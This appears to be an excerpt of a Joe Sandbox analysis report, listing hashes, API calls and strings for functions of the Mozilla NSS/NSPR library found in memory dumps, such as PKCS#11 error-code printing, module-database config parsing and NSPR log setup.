Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
rv = 0x%x, xrefs: 6C682312
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_OK, xrefs: 6C681DFC
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_DEVICE_REMOVED, xrefs: 6C682261
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_NEW_PIN_MODE, xrefs: 6C681E9F
CKR_PIN_INVALID, xrefs: 6C682057
CKR_STATE_UNSAVEABLE, xrefs: 6C682037
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D
rv = %s, xrefs: 6C682340
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_PIN_LOCKED, xrefs: 6C682075
CKR_PIN_INCORRECT, xrefs: 6C681D92
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

secmod=, xrefs: 6C6B5FB1
%s/%s, xrefs: 6C6B6055
forceSecmodChoice, xrefs: 6C6B5F55
configDir=, xrefs: 6C6B5F9D
noModDB, xrefs: 6C6B5EEA
readOnly, xrefs: 6C6B5E56
secmod.db, xrefs: 6C6B5EA0
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

bufsize, xrefs: 6C641E9B
timestamp, xrefs: 6C641EC4
, %n, xrefs: 6C641E6B
Unable to create nspr log file '%s', xrefs: 6C641FB3
all, xrefs: 6C641F0E
sync, xrefs: 6C641E46
append, xrefs: 6C641EE6
NSPR_LOG_MODULES, xrefs: 6C641DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
NSPR_LOG_FILE, xrefs: 6C641F69

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname1, xrefs: 6C72708F
winGetTempname4, xrefs: 6C727046
Pvl, xrefs: 6C7270A8
winGetTempname2, xrefs: 6C7270C4
winGetTempname5, xrefs: 6C727071
mz_etilqs_, xrefs: 6C726F18

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
